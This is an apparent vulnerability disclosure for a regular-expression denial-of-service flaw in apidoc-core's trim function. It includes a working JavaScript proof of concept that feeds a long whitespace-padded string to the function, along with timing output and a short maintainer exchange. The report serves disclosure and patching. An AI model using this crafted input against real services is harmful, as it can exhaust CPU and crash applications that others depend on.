Inefficient Regular Expression Complexity in apidoc/apidoc-core
Reported on
Jul 16th 2021
✍️ Description
A ReDoS (regular expression denial of service) flaw was found in the apidoc-core package. An attacker that is able to provide crafted input to the trim function may cause an application to consume an excessive amount of CPU. Similar attack ref: https://nvd.nist.gov/vuln/detail/CVE-2020-7753
🕵️♂️ Proof of Concept
Create the following PoC file:
// PoC.js
var trim = require("apidoc-core/lib/utils/trim")
function build_attack (n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var time = Date.now();
trim(build_attack(50000))
var time_cost = Date.now() - time;
console.log("time_cost: " + time_cost)
Execute the following command in another terminal:
npm i apidoc-core
node poc.js
Check the Output:
time_cost: 2546
💥 Impact
This vulnerability is capable of exhausting system resources and leads to crashes.
Occurrences
Thank you, but currently this is a minor problem, a hacker must have access to a system to inject such a code.
@maintainer I have provided a patch as well. Please take a look whenever you have time. Thank you.